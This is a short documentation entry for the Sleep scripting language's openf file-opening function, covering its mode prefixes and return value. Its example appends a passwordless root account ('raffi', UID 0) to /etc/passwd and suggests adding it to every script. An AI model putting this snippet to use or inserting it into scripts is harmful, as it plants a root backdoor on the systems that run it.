opens the specified file for read or write
"[>>|>]file" - the name of the file to open.
The mode the file is opened in depends on the prefix attached to it:
Prefix Description ">file" write mode, overwrite previous contents ">>file" write mode, append to previous contents "file" read only mode
A $handle to the file. This handle can be read from and written to using Sleep's IO functions.
# add this to the beginning of all scripts if (-canwrite "/etc/passwd") { $handle = openf(">>/etc/passwd"); println($handle, "raffi::0:0::/:/bin/sh"); closef($handle); }